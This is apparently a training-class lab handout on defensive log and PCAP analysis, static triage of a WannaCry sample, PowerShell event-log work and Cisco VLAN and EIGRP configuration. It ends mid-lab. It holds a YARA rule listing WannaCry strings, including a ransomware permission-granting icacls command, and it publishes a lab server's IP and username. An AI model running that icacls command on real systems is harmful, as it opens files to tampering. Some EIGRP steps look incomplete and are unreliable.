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Cisco Security Class

joemccray
Jun 17th, 2019
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  1. #########################
  2. # Connect to the server #
  3. #########################
  4.  
  5. Use Putty to SSH into my Ubuntu host in order to perform the lab tasks below.
  6.  
  7. You can download Putty from here:
  8. http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe
  9.  
  10.  
  11. server ip: 45.63.116.164
  12. protocol: ssh
  13. port: 22
  14. username: ciscosecurity
  15. password:
  16.  
  17.  
  18.  
  19. ##############################################
  20. # Log Analysis with Linux command-line tools #
  21. ##############################################
  22. The following command line executables are found in the Mac as well as most Linux Distributions.
  23.  
  24. cat – prints the content of a file in the terminal window
  25. grep – searches and filters based on patterns
  26. awk – can sort each row into fields and display only what is needed
  27. sed – performs find and replace functions
  28. sort – arranges output in an order
  29. uniq – compares adjacent lines and can report, filter or provide a count of duplicates
  30.  
  31.  
  32. ##############
  33. # Cisco Logs #
  34. ##############
  35.  
  36. AWK Basics
  37. ----------
  38. To quickly demonstrate the print feature in awk, we can instruct it to show only the 5th word of each line. Here we will print $5. Only the last 4 lines are being shown for brevity.
  39.  
  40. -----------------------------Type this-----------------------------------------
  41. cat cisco.log | awk '{print $5}' | tail -n 4
  42. -------------------------------------------------------------------------------
  43.  
  44.  
  45.  
  46. Looking at a large file would still produce a large amount of output. A more useful thing to do might be to output every entry found in “$5”, group them together, count them, then sort them from the greatest to least number of occurrences. This can be done by piping the output through “sort“, using “uniq -c” to count the like entries, then using “sort -rn” to sort it in reverse order.
  47.  
  48. -----------------------------Type this-----------------------------------------
  49. cat cisco.log | awk '{print $5}'| sort | uniq -c | sort -rn
  50. -------------------------------------------------------------------------------
  51.  
  52.  
  53.  
  54. While that’s sort of cool, it is obvious that we have some garbage in our output. Evidently we have a few lines that aren’t conforming to the output we expect to see in $5. We can insert grep to filter the file prior to feeding it to awk. This insures that we are at least looking at lines of text that contain “facility-level-mnemonic”.
  55.  
  56. -----------------------------Type this-----------------------------------------
  57. cat cisco.log | grep %[a-zA-Z]*-[0-9]-[a-zA-Z]* | awk '{print $5}' | sort | uniq -c | sort -rn
  58. -------------------------------------------------------------------------------
  59.  
  60.  
  61.  
  62.  
  63. Now that the output is cleaned up a bit, it is a good time to investigate some of the entries that appear most often. One way to see all occurrences is to use grep.
  64.  
  65. -----------------------------Type this-----------------------------------------
  66. cat cisco.log | grep %LINEPROTO-5-UPDOWN:
  67.  
  68. cat cisco.log | grep %LINEPROTO-5-UPDOWN:| awk '{print $10}' | sort | uniq -c | sort -rn
  69.  
  70. cat cisco.log | grep %LINEPROTO-5-UPDOWN:| sed 's/,//g' | awk '{print $10}' | sort | uniq -c | sort -rn
  71.  
  72. cat cisco.log | grep %LINEPROTO-5-UPDOWN:| sed 's/,//g' | awk '{print $10 " changed to " $14}' | sort | uniq -c | sort -rn
  73. --------------------------------------------------------------------------------
  74.  
  75.  
  76.  
  77.  
  78.  
  79.  
  80.  
  81. ################
  82. # The Scenario #
  83. ################
  84. You've come across a file that has been flagged by one of your security products (AV Quarantine, HIPS, Spam Filter, Web Proxy, or digital forensics scripts).
  85.  
  86.  
  87. The fastest thing you can do is perform static analysis.
  88.  
  89.  
  90.  
  91. ###################
  92. # Static Analysis #
  93. ###################
  94.  
  95. - After logging please open a terminal window and type the following commands:
  96.  
  97.  
  98. ---------------------------Type This-----------------------------------
  99.  
  100. file wannacry.exe
  101.  
  102. hexdump -n 2 -C wannacry.exe
  103.  
  104. ----------------------------------------------------------------------
  105.  
  106.  
  107.  
  108. In a browser...go to: http://www.garykessler.net/library/file_sigs.html
  109.  
  110. ***What is '4d 5a' or 'MZ'***
  111.  
  112.  
  113.  
  114.  
  115.  
  116. ---------------------------Type This-----------------------------------
  117. objdump -x wannacry.exe
  118.  
  119. strings wannacry.exe
  120.  
  121. strings wannacry.exe | grep -i dll
  122.  
  123. strings wannacry.exe | grep -i library
  124.  
  125. strings wannacry.exe | grep -i reg
  126.  
  127. strings wannacry.exe | grep -i key
  128.  
  129. strings wannacry.exe | grep -i rsa
  130.  
  131. strings wannacry.exe | grep -i open
  132.  
  133. strings wannacry.exe | grep -i get
  134.  
  135. strings wannacry.exe | grep -i mutex
  136.  
  137. strings wannacry.exe | grep -i irc
  138.  
  139. strings wannacry.exe | grep -i join
  140.  
  141. strings wannacry.exe | grep -i admin
  142.  
  143. strings wannacry.exe | grep -i list
  144. ----------------------------------------------------------------------
  145.  
  146.  
  147.  
  148.  
  149.  
  150.  
  151.  
  152. Hmmmmm.......what's the latest thing in the news - oh yeah "WannaCry"
  153.  
  154. Quick Google search for "wannacry ransomeware analysis"
  155.  
  156.  
  157. Reference
  158. https://securingtomorrow.mcafee.com/executive-perspectives/analysis-wannacry-ransomware-outbreak/
  159.  
  160. - Yara Rule -
  161.  
  162.  
  163. Strings:
  164. $s1 = “Ooops, your files have been encrypted!” wide ascii nocase
  165. $s2 = “Wanna Decryptor” wide ascii nocase
  166. $s3 = “.wcry” wide ascii nocase
  167. $s4 = “WANNACRY” wide ascii nocase
  168. $s5 = “WANACRY!” wide ascii nocase
  169. $s7 = “icacls . /grant Everyone:F /T /C /Q” wide ascii nocase
  170.  
  171.  
  172.  
  173.  
  174.  
  175.  
  176.  
  177.  
  178. Ok, let's look for the individual strings
  179.  
  180.  
  181. ---------------------------Type This-----------------------------------
  182. strings wannacry.exe | grep -i ooops
  183.  
  184. strings wannacry.exe | grep -i wanna
  185.  
  186. strings wannacry.exe | grep -i wcry
  187.  
  188. strings wannacry.exe | grep -i wannacry
  189.  
  190. strings wannacry.exe | grep -i wanacry **** Matches $s5, hmmm.....
  191. ----------------------------------------------------------------------
  192.  
  193.  
  194.  
  195.  
  196. ##################################################################
  197. # Analyzing a PCAP Prads #
  198. # Note: run as regular user #
  199. ##################################################################
  200.  
  201. ---------------------------Type this as a regular user----------------------------------
  202. cd /home/ciscosecurity/pcap_analysis
  203.  
  204. prads -r suspicious-time.pcap -l prads-asset.log
  205.  
  206. cat prads-asset.log | less
  207.  
  208. cat prads-asset.log | grep SYN | grep -iE 'windows|linux'
  209.  
  210. cat prads-asset.log | grep CLIENT | grep -iE 'safari|firefox|opera|chrome'
  211.  
  212. cat prads-asset.log | grep SERVER | grep -iE 'apache|linux|ubuntu|nginx|iis'
  213. -----------------------------------------------------------------------
  214.  
  215.  
  216.  
  217.  
  218. ##################################
  219. # PCAP Analysis with ChaosReader #
  220. # Note: run as regular user #
  221. ##################################
  222. ---------------------------Type this as a regular user----------------------------------
  223. cd /home/ciscosecurity/pcap_analysis
  224.  
  225. perl chaosreader.pl suspicious-time.pcap
  226.  
  227. cat index.text | grep -v '"' | grep -oE "([0-9]+\.){3}[0-9]+.*\)"
  228.  
  229. cat index.text | grep -v '"' | grep -oE "([0-9]+\.){3}[0-9]+.*\)" | awk '{print $4, $5, $6}' | sort | uniq -c | sort -nr
  230.  
  231.  
  232. for i in session_00[0-9]*.http.html; do srcip=`cat "$i" | grep 'http:\ ' | awk '{print $2}' | cut -d ':' -f1`; dstip=`cat "$i" | grep 'http:\ ' | awk '{print $4}' | cut -d ':' -f1`; host=`cat "$i" | grep 'Host:\ ' | sort -u | sed -e 's/Host:\ //g'`; echo "$srcip --> $dstip = $host"; done | sort -u
  233.  
  234.  
  235. ------------------------------------------------------------------------
  236.  
  237.  
  238.  
  239.  
  240.  
  241.  
  242.  
  243.  
  244. #############################
  245. # PCAP Analysis with tshark #
  246. # Note: run as regular user #
  247. #############################
  248. ---------------------------Type this as a regular user---------------------------------
  249. cd /home/ciscosecurity/pcap_analysis
  250.  
  251. tshark -i ens3 -r suspicious-time.pcap -qz io,phs
  252.  
  253. tshark -r suspicious-time.pcap -qz ip_hosts,tree
  254.  
  255. tshark -r suspicious-time.pcap -Y "http.request" -Tfields -e "ip.src" -e "http.user_agent" | uniq
  256.  
  257. tshark -r suspicious-time.pcap -Y "dns" -T fields -e "ip.src" -e "dns.flags.response" -e "dns.qry.name"
  258.  
  259.  
  260. tshark -r suspicious-time.pcap -Y http.request -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}'
  261.  
  262. whois rapidshare.com.eyu32.ru
  263.  
  264. whois sploitme.com.cn
  265.  
  266. tshark -r suspicious-time.pcap -Y http.request -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}' | grep -v -e '\/image' -e '.css' -e '.ico' -e google -e 'honeynet.org'
  267.  
  268. tshark -r suspicious-time.pcap -qz http_req,tree
  269.  
  270. tshark -r suspicious-time.pcap -Y "data-text-lines contains \"<script\"" -T fields -e frame.number -e ip.src -e ip.dst
  271.  
  272. tshark -r suspicious-time.pcap -Y http.request -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}' | grep -v -e '\/image' -e '.css' -e '.ico' | grep 10.0.3.15 | sed -e 's/\?[^cse].*/\?\.\.\./g'
  273. ------------------------------------------------------------------------
  274.  
  275.  
  276.  
  277. #####################
  278. # Powershell Basics #
  279. #####################
  280.  
  281. PowerShell is Microsoft's new scripting language that has been built in since the release Vista.
  282.  
  283. PowerShell file extension end in .ps1 .
  284.  
  285. An important note is that you cannot double click on a PowerShell script to execute it.
  286.  
  287. To open a PowerShell command prompt either hit Windows Key + R and type in PowerShell or Start -> All Programs -> Accessories -> Windows PowerShell -> Windows PowerShell.
  288.  
  289. ------------------------Type This------------------------------
  290. cd c:\
  291. dir
  292. cd
  293. ls
  294. ---------------------------------------------------------------
  295.  
  296.  
  297. To obtain a list of cmdlets, use the Get-Command cmdlet
  298. ------------------------Type This------------------------------
  299. Get-Command
  300. ---------------------------------------------------------------
  301.  
  302.  
  303. You can use the Get-Alias cmdlet to see a full list of aliased commands.
  304. ------------------------Type This------------------------------
  305. Get-Alias
  306. ---------------------------------------------------------------
  307.  
  308.  
  309. Don't worry you won't blow up your machine with Powershell
  310. ------------------------Type This------------------------------
  311. Get-Process | stop-process Don't press [ ENTER ] What will this command do?
  312. Get-Process | stop-process -whatif
  313. ---------------------------------------------------------------
  314.  
  315. To get help with a cmdlet, use the Get-Help cmdlet along with the cmdlet you want information about.
  316. ------------------------Type This------------------------------
  317. Get-Help Get-Command
  318.  
  319. Get-Help Get-Service –online
  320.  
  321. Get-Service -Name TermService, Spooler
  322.  
  323. Get-Service –N BITS
  324. ---------------------------------------------------------------
  325.  
  326.  
  327.  
  328.  
  329.  
  330. - Run cmdlet through a pie and refer to its properties as $_
  331. ------------------------Type This------------------------------
  332. Get-Service | where-object { $_.Status -eq "Running"}
  333. ---------------------------------------------------------------
  334.  
  335.  
  336.  
  337. - PowerShell variables begin with the $ symbol. First lets create a variable
  338. ------------------------Type This------------------------------
  339. $serv = Get-Service –N Spooler
  340. ---------------------------------------------------------------
  341.  
  342. To see the value of a variable you can just call it in the terminal.
  343. ------------------------Type This------------------------------
  344. $serv
  345.  
  346. $serv.gettype().fullname
  347. ---------------------------------------------------------------
  348.  
  349.  
  350. Get-Member is another extremely useful cmdlet that will enumerate the available methods and properties of an object. You can pipe the object to Get-Member or pass it in
  351. ------------------------Type This------------------------------
  352. $serv | Get-Member
  353.  
  354. Get-Member -InputObject $serv
  355. ---------------------------------------------------------------
  356.  
  357.  
  358.  
  359.  
  360. Let's use a method and a property with our object.
  361. ------------------------Type This------------------------------
  362. $serv.Status
  363. $serv.Stop()
  364. $serv.Refresh()
  365. $serv.Status
  366. $serv.Start()
  367. $serv.Refresh()
  368. $serv.Status
  369. ---------------------------------------------------------------
  370.  
  371.  
  372. If you want some good command-line shortcuts you can check out the following link:
  373. https://technet.microsoft.com/en-us/library/ff678293.aspx
  374.  
  375. #############################
  376. # Simple Event Log Analysis #
  377. #############################
  378. Let's setup a directory to work in:
  379. ------------------------Type This------------------------------
  380. cd c:\
  381.  
  382. mkdir ps
  383.  
  384. cd ps
  385. ---------------------------------------------------------------
  386.  
  387. Step 1: Dump the event logs
  388. ---------------------------
  389. The first thing to do is to dump them into a format that facilitates later processing with Windows PowerShell.
  390.  
  391. To dump the event log, you can use the Get-EventLog and the Exportto-Clixml cmdlets if you are working with a traditional event log such as the Security, Application, or System event logs.
  392. If you need to work with one of the trace logs, use the Get-WinEvent and the ExportTo-Clixml cmdlets.
  393. ------------------------Type This------------------------------
  394. Get-EventLog -LogName application | Export-Clixml Applog.xml
  395.  
  396. type .\Applog.xml
  397.  
  398. $logs = "system","application","security"
  399. ---------------------------------------------------------------
  400.  
  401.  
  402. The % symbol is an alias for the Foreach-Object cmdlet. It is often used when working interactively from the Windows PowerShell console
  403. ------------------------Type This------------------------------
  404. $logs | % { get-eventlog -LogName $_ | Export-Clixml "$_.xml" }
  405. ---------------------------------------------------------------
  406.  
  407.  
  408.  
  409.  
  410. Step 2: Import the event log of interest
  411. ----------------------------------------
  412. To parse the event logs, use the Import-Clixml cmdlet to read the stored XML files.
  413. Store the results in a variable.
  414. Let's take a look at the commandlets Where-Object, Group-Object, and Select-Object.
  415.  
  416. The following two commands first read the exported security log contents into a variable named $seclog, and then the five oldest entries are obtained.
  417. ------------------------Type This------------------------------
  418. $seclog = Import-Clixml security.xml
  419.  
  420. $seclog | select -Last 5
  421. ---------------------------------------------------------------
  422.  
  423. Cool trick from one of our students named Adam. This command allows you to look at the logs for the last 24 hours:
  424. ------------------------Type This------------------------------
  425. Get-EventLog Application -After (Get-Date).AddDays(-1)
  426. ---------------------------------------------------------------
  427. You can use '-after' and '-before' to filter date ranges
  428.  
  429. One thing you must keep in mind is that once you export the security log to XML, it is no longer protected by anything more than the NFTS and share permissions that are assigned to the location where you store everything.
  430. By default, an ordinary user does not have permission to read the security log.
  431.  
  432.  
  433.  
  434.  
  435. Step 3: Drill into a specific entry
  436. -----------------------------------
  437. To view the entire contents of a specific event log entry, choose that entry, send the results to the Format-List cmdlet, and choose all of the properties.
  438.  
  439. ------------------------Type This------------------------------
  440. $seclog | select -first 1 | fl *
  441. ---------------------------------------------------------------
  442.  
  443. The message property contains the SID, account name, user domain, and privileges that are assigned for the new login.
  444.  
  445. ------------------------Type This------------------------------
  446. ($seclog | select -first 1).message
  447.  
  448. (($seclog | select -first 1).message).gettype()
  449. ---------------------------------------------------------------
  450.  
  451.  
  452. In the *nix world you often want a count of something (wc -l).
  453. How often is the SeSecurityPrivilege privilege mentioned in the message property?
  454. To obtain this information, pipe the contents of the security log to a Where-Object to filter the events, and then send the results to the Measure-Object cmdlet to determine the number of events:
  455. ------------------------Type This------------------------------
  456. $seclog | ? { $_.message -match 'SeSecurityPrivilege'} | measure
  457. ---------------------------------------------------------------
  458. If you want to ensure that only event log entries return that contain SeSecurityPrivilege in their text, use Group-Object to gather the matches by the EventID property.
  459.  
  460. ------------------------Type This------------------------------
  461. $seclog | ? { $_.message -match 'SeSecurityPrivilege'} | group eventid
  462. ---------------------------------------------------------------
  463.  
  464. Because importing the event log into a variable from the stored XML results in a collection of event log entries, it means that the count property is also present.
  465. Use the count property to determine the total number of entries in the event log.
  466. ------------------------Type This------------------------------
  467. $seclog.Count
  468. ---------------------------------------------------------------
  469.  
  470.  
  471.  
  472.  
  473.  
  474. ############################
  475. # Simple Log File Analysis #
  476. ############################
  477.  
  478.  
  479. You'll need to create the directory c:\ps and download sample iss log http://pastebin.com/raw.php?i=LBn64cyA
  480.  
  481. ------------------------Type This------------------------------
  482. cd c:\ps
  483. (new-object System.Net.WebClient).DownloadFile("http://pastebin.com/raw.php?i=LBn64cyA", "c:\ps\u_ex1104.log")
  484. (new-object System.Net.WebClient).DownloadFile("http://pastebin.com/raw.php?i=ysnhXxTV", "c:\ps\CiscoLogFileExamples.txt")
  485. Select-String 192.168.208.63 .\CiscoLogFileExamples.txt
  486. ---------------------------------------------------------------
  487.  
  488.  
  489.  
  490. The Select-String cmdlet searches for text and text patterns in input strings and files. You can use it like Grep in UNIX and Findstr in Windows.
  491. ------------------------Type This------------------------------
  492. Select-String 192.168.208.63 .\CiscoLogFileExamples.txt | select line
  493. ---------------------------------------------------------------
  494.  
  495.  
  496.  
  497. To see how many connections are made when analyzing a single host, the output from that can be piped to another command: Measure-Object.
  498. ------------------------Type This------------------------------
  499. Select-String 192.168.208.63 .\CiscoLogFileExamples.txt | select line | Measure-Object
  500. ---------------------------------------------------------------
  501.  
  502.  
  503. To select all IP addresses in the file expand the matches property, select the value, get unique values and measure the output.
  504. ------------------------Type This------------------------------
  505. Select-String "\b(?:\d{1,3}\.){3}\d{1,3}\b" .\CiscoLogFileExamples.txt | select -ExpandProperty matches | select -ExpandProperty value | Sort-Object -Unique | Measure-Object
  506. ---------------------------------------------------------------
  507.  
  508.  
  509. Removing Measure-Object shows all the individual IPs instead of just the count of the IP addresses. The Measure-Object command counts the IP addresses.
  510. ------------------------Type This------------------------------
  511. Select-String "\b(?:\d{1,3}\.){3}\d{1,3}\b" .\CiscoLogFileExamples.txt | select -ExpandProperty matches | select -ExpandProperty value | Sort-Object -Unique
  512. ---------------------------------------------------------------
  513.  
  514. In order to determine which IP addresses have the most communication the last commands are removed to determine the value of the matches. Then the group command is issued on the piped output to group all the IP addresses (value), and then sort the objects by using the alias for Sort-Object: sort count –des.
  515. This sorts the IP addresses in a descending pattern as well as count and deliver the output to the shell.
  516. ------------------------Type This------------------------------
  517. Select-String "\b(?:\d{1,3}\.){3}\d{1,3}\b" .\CiscoLogFileExamples.txt | select -ExpandProperty matches | select value | group value | sort count -des
  518. ---------------------------------------------------------------
  519.  
  520.  
  521.  
  522. #########################
  523. # Introduction to VLANs #
  524. #########################
  525. https://www.net-refresh.com/switching1.html
  526.  
  527.  
  528. 1. Configure Host_Red1 to be an access port in VLAN 10
  529. 2. Configure Host_Red2 to be an access port in VLAN 10
  530. 3. Configure Host_Blue1 to be an access port in VLAN 20
  531. 4. Configure Host_Blue2 to be an access port in VLAN 20
  532.  
  533.  
  534. -----Type these commands on switch 1----
  535. enable
  536. configure terminal
  537. vlan 10
  538. name Red_Vlan
  539. interface f0/1
  540. switchport mode access
  541. switchport access vlan 10
  542. interface f0/2
  543. switchport mode access
  544. switchport access vlan 10
  545. interface f0/3
  546. switchport mode access
  547. switchport access vlan 20
  548. interface f0/4
  549. switchport mode access
  550. switchport access vlan 20
  551. ----------------------------------------
  552.  
  553. Testing the configuration
  554.  
  555. In order to test your configuration, try setting static IP addresses on the host PCs, and check which PCs can communicate. Set the host IP addresses to 192.168.0.1, 192.168.0.2, 192.168.0.3, and 192.168.0.4 respectively, with a subnet mask of 255.255.255.0. Note that having two VLANs using a single subnet is not something you will do in a real network, and is only done here to demonstrate the VLANs are separated.
  556.  
  557. If you have configured the switch correctly you will find that the although the Red hosts can ping each other, they are unable to ping the Blue hosts.
  558.  
  559.  
  560.  
  561. References used for this lab:
  562. * VLANs: https://www.net-refresh.com/articles/vlans1.html
  563.  
  564.  
  565.  
  566.  
  567. #######################
  568. # InterVlan Routing 1 #
  569. #######################
  570. https://www.net-refresh.com/switching2.html
  571.  
  572. 1. Assign 'Host_Red1' to vlan 10, and force to an access port.
  573. 2. Assign 'Host_Red2' to vlan 10, and force to an access port.
  574. 3. Assign 'Host_Blue1' to vlan 20, and force to an access port.
  575. 4. Assign 'Host_Blue2' to vlan 20, and force to an access port.
  576. 5. Assign Switch1 f0/10 to vlan 10, and force to an access port.
  577. 6. Assign Switch1 f0/11 to vlan 20, and force to an access port.
  578. 7. Set the IP address of Router1's f0/0 interface to the last usable address in the 10.0.0.0/24 subnet, and ensure the port is up.
  579. 8. Set the IP address of Router1'a f0/1 interface to the last usable address in the 10.1.0.0/24 subnet, and ensure the port is up.
  580. 9. On Switch1, create VLAN interface 10, and assign it the IP address 10.0.0.2/24.
  581.  
  582.  
  583.  
  584.  
  585. -----Type these commands on switch 1----
  586. enable
  587. configure terminal
  588. vlan 10
  589. name Red_Vlan
  590. interface f0/1
  591. switchport mode access
  592. switchport access vlan 10
  593. interface f0/2
  594. switchport mode access
  595. switchport access vlan 10
  596. interface f0/10
  597. switchport mode access
  598. switchport access vlan 10
  599. interface f0/3
  600. switchport mode access
  601. switchport access vlan 20
  602. interface f0/4
  603. switchport mode access
  604. switchport access vlan 20
  605. interface f0/11
  606. switchport mode access
  607. switchport access vlan 20
  608. interface vlan 10
  609. ip address 10.0.0.2 255.255.255.0
  610.  
  611. ----------------------------------------
  612.  
  613.  
  614. -----Type these commands on router 1----
  615. enable
  616. configure terminal
  617. interface f0/0
  618. ip address 10.0.0.254 255.255.255.0
  619. no shutdown
  620. interface f0/1
  621. ip address 10.1.0.254 255.255.255.0
  622. no shutdown
  623. exit
  624. ----------------------------------------
  625.  
  626.  
  627. Hopefully you completed that without too much difficulty! Each VLAN now has a port connected to the Router, so it should now be possible for a Red host to ping a Blue host. Go ahead and configure the host PCs with suitable IP addresses in their subnet. You will need to set the default gateway as well. Remember the default-gateway is the address that packets will be sent to if the host has no better route.
  628.  
  629.  
  630.  
  631. References used for this lab:
  632. * VLANs: https://www.net-refresh.com/articles/vlans1.html
  633. * how to assign static IP on a switch: https://learningnetwork.cisco.com/thread/14861
  634.  
  635.  
  636.  
  637. ########################################################
  638. # Intervlan Routing using trunking (Router on a stick) #
  639. ########################################################
  640. https://www.net-refresh.com/switching3.html
  641.  
  642. 1. Assign 'Host_Red1' to vlan 10, and force to an access port
  643. 2. Assign 'Host_Red2' to vlan 10, and force to an access port
  644. 3. Assign 'Host_Blue1' to vlan 20, and force to an access port
  645. 4. Assign 'Host_Blue2' to vlan 20, and force to an access port
  646. 5. Configure Switch1's f0/10 interface so it operates as a dot1q trunk
  647. 6. Configure a sub-interface on Router1, f0/0.10. This sub-interface should receive frames with the dot1q tag 10.
  648. Assign this the last usable IP address in the 10.0.0.32/27 subnet
  649. 7. Configure a sub-interface on Router1, f0/0.20. This sub-interface should receive frames with the dot1q tag 20.
  650. Assign this the last usable IP address in the 20.0.0.128/26 subnet
  651. 8. On Switch1, create vlan interface 10, assign it the first usable IP address in the 10.0.0.32/27 subnet
  652. 9. Configure the correct default gateway on Switch1
  653.  
  654.  
  655.  
  656. -----Type these commands on switch 1----
  657. enable
  658. configure terminal
  659. vlan 10
  660. name Red_Vlan
  661. interface f0/1
  662. switchport mode access
  663. switchport access vlan 10
  664. interface f0/2
  665. switchport mode access
  666. switchport access vlan 10
  667. interface f0/3
  668. switchport mode access
  669. switchport access vlan 20
  670. interface f0/4
  671. switchport mode access
  672. switchport access vlan 20
  673. interface f0/10
  674. switchport mode trunk
  675. interface f0/11
  676. switchport mode access
  677. switchport access vlan 20
  678. interface vlan 10
  679. ip address 10.0.0.33 255.255.255.224
  680. exit
  681. ip default-gateway 10.0.0.62
  682.  
  683. ----------------------------------------
  684.  
  685.  
  686. -----Type these commands on router 1----
  687. enable
  688. configure terminal
  689. interface f0/0
  690. no shutdown
  691. interface f0/0.10
  692. encapsulation dot1q 10
  693. ip address 10.0.0.62 255.255.255.224
  694. no shutdown
  695. interface f0/0.20
  696. encapsulation dot1q 20
  697. ip address 20.0.0.190 255.255.255.192
  698. no shutdown
  699. exit
  700. ----------------------------------------
  701.  
  702.  
  703.  
  704. References used for this lab:
  705. * VLANs: https://www.net-refresh.com/articles/vlans1.html
  706. * how to assign static IP on a switch: https://learningnetwork.cisco.com/thread/14861
  707. * Trunk port: https://networklessons.com/switching/how-to-configure-trunk-on-cisco-catalyst-switch
  708. * Subinterface: https://learningnetwork.cisco.com/thread/14587
  709. * last useable IP: https://www.aelius.com/njh/subnet_sheet.html
  710. * default gateway on a switch: https://learningnetwork.cisco.com/thread/22283
  711.  
  712.  
  713.  
  714. ##############################################
  715. # Interswitch trunks with Inter-Vlan routing #
  716. ##############################################
  717. https://www.net-refresh.com/switching4.html
  718.  
  719.  
  720. 1. Configure Switch1's f0/10 interface so it operates as a trunk
  721. 2. Configure Switch1's f0/11 interface so it dynamically negotiates and operates as a dot1q trunk
  722. 3. Configure Switch2's f0/11 interface so it dynamically negotiates and operates as a dot1q trunk
  723. 4. Assign 'Host_Red1' to vlan 10, and force to an access port
  724. 5. Assign 'Host_Red2' to vlan 10, and force to an access port
  725. 6. Assign 'Host_Blue1' to vlan 20, and force to an access port
  726. 7. Assign 'Host_Blue2' to vlan 20, and force to an access port
  727. 8. Create a sub-interface on Router1, f0/0.10. This sub-interface should receive frames with dot1q tag 10. Assign this the last usable IP address in the 172.16.0.0/22 subnet
  728. 9. Create a sub-interface on Router1, f0/0.20. This sub-interface should receive frames with dot1q tag 20. Assign this the last usable IP address in the 172.16.4.0/26 subnet.
  729. 10. On Switch1, create vlan interface 10, and assign it the first usable address in the 172.16.0.0/22 subnet
  730. 11. Configure the correct default gateway on Switch1
  731.  
  732.  
  733. -----Type these commands on switch 1----
  734. enable
  735. configure terminal
  736. interface f0/10
  737. switchport mode trunk
  738. switchport trunk encapsulation dot1q
  739. vlan 10
  740. name Red_Vlan
  741. interface f0/1
  742. switchport mode access
  743. switchport access vlan 10
  744. interface f0/2
  745. switchport mode access
  746. switchport access vlan 10
  747. vlan 20
  748. name Blue_Vlan
  749. interface f0/3
  750. switchport mode access
  751. switchport access vlan 20
  752. interface f0/4
  753. switchport mode access
  754. switchport access vlan 20
  755. interface vlan 10
  756. ip address 172.16.0.1 255.255.252.0
  757. ----------------------------------------
  758.  
  759.  
  760. -----Type these commands on switch 2----
  761. enable
  762. configure terminal
  763. interface f0/11
  764. switchport mode trunk
  765. switchport trunk encapsulation dot1q
  766. ----------------------------------------
  767.  
  768.  
  769. -----Type these commands on router 1----
  770. enable
  771. configure terminal
  772. interface f0/0
  773. no shutdown
  774. interface f0/0.10
  775. encapsulation dot1q 10
  776. ip address 172.16.3.254 255.255.252.0
  777. no shutdown
  778. interface f0/0.20
  779. encapsulation dot1q 20
  780. ip address 172.16.4.62 255.255.255.192
  781. no shutdown
  782. exit
  783. ----------------------------------------
  784.  
  785.  
  786.  
  787. References used for this lab:
  788. * VLANs: https://www.net-refresh.com/articles/vlans1.html
  789. * how to assign static IP on a switch: https://learningnetwork.cisco.com/thread/14861
  790. * Trunk port: https://networklessons.com/switching/how-to-configure-trunk-on-cisco-catalyst-switch
  791. * Subinterface: https://learningnetwork.cisco.com/thread/14587
  792. * last useable IP: https://www.aelius.com/njh/subnet_sheet.html
  793. * default gateway on a switch: https://learningnetwork.cisco.com/thread/22283
  794.  
  795.  
  796.  
  797.  
  798. #############################################
  799. # Configuring Static Routes between Routers #
  800. #############################################
  801. https://www.net-refresh.com/routing1.html
  802.  
  803.  
  804.  
  805.  
  806.  
  807.  
  808.  
  809. ##################################################
  810. # Configuring the EIGRP dynamic routing protocol #
  811. ##################################################
  812. https://www.net-refresh.com/routing3.html
  813.  
  814. 1. On Router1 configure the following interfaces with IP addresses:
  815. ? f0/0 with IP address 10.0.0.1/24
  816. ? s0/0 with IP address 1.0.0.1/30
  817. ? s0/1 with IP address 2.0.0.1/30
  818.  
  819. -----Type these commands on router 1----
  820. enable
  821. configure terminal
  822. interface f0/0
  823. ip address 10.0.0.1 255.255.255.0
  824. no shutdown
  825. interface s0/0
  826. ip address 1.0.0.1 255.255.255.252
  827. no shutdown
  828. interface s0/1
  829. ip address 2.0.0.1 255.255.255.252
  830. no shutdown
  831. ----------------------------------------
  832.  
  833.  
  834. 2. On Router2 configure the following interfaces with IP addresses:
  835. ? f0/0 with IP address 20.0.0.1/24
  836. ? f0/1 with IP address 4.0.0.1/30
  837. ? s0/0 with IP address 1.0.0.2/30
  838. ? s0/1 with IP address 3.0.0.1/30
  839.  
  840. -----Type these commands on router 2----
  841. enable
  842. configure terminal
  843. interface f0/0
  844. ip address 20.0.0.1 255.255.255.0
  845. no shutdown
  846. interface f0/1
  847. ip address 4.0.0.1 255.255.255.252
  848. no shutdown
  849. interface s0/0
  850. ip address 1.0.0.2 255.255.255.252
  851. no shutdown
  852. interface s0/1
  853. ip address 3.0.0.1 255.255.255.252
  854. no shutdown
  855. ----------------------------------------
  856.  
  857. 3. On Router3 configure the following interfaces with IP addresses:
  858. ? f0/0 with IP address 30.0.0.1/24
  859. ? s0/0 with IP address 3.0.0.2/30
  860. ? s0/1 with IP address 2.0.0.2/30
  861.  
  862.  
  863. -----Type these commands on router 3----
  864. enable
  865. configure terminal
  866. interface f0/0
  867. ip address 30.0.0.1 255.255.255.0
  868. no shutdown
  869. interface s0/0
  870. ip address 3.0.0.2 255.255.255.252
  871. no shutdown
  872. interface s0/1
  873. ip address 2.0.0.2 255.255.255.252
  874. no shutdown
  875. ----------------------------------------
  876.  
  877. 4. On Router4 configure the following interfaces with IP addresses:
  878. ? f0/0 with IP address 40.0.0.1/24
  879. ? f0/1 with IP address 4.0.0.2/30
  880.  
  881.  
  882. -----Type these commands on router 4----
  883. enable
  884. configure terminal
  885. interface f0/0
  886. ip address 40.0.0.1 255.255.255.0
  887. no shutdown
  888. interface f0/1
  889. ip address 4.0.0.2 255.255.255.252
  890. no shutdown
  891. ----------------------------------------
  892.  
  893. 5. On Router1 configure EIGRP to achieve the following requirements:
  894. ? Autonomous system 10
  895. ? Auto route summarization disabled
  896. ? All attached networks should be advertised
  897. ? No EIGRP routing updates should be sent towards Host1
  898.  
  899. -----Type these commands on router 1----
  900. enable
  901. configure terminal
  902. router eigrp 10
  903. no auto-summary
  904. network 1.0.0.0 0.0.0.3
  905. network 2.0.0.0 0.0.0.3
  906. exit
  907. ----------------------------------------
  908.  
  909.  
  910. 6. On Router2 configure EIGRP to achieve the following requirements:
  911. ?Autonomous system 10
  912. ? Auto route summarization disabled
  913. ? All attached networks should be advertised
  914. ? No EIGRP routing updates should be sent towards Host2
  915.  
  916. -----Type these commands on router 2----
  917. enable
  918. configure terminal
  919. router eigrp 10
  920. no auto-summary
  921. network 4.0.0.0 0.0.0.3
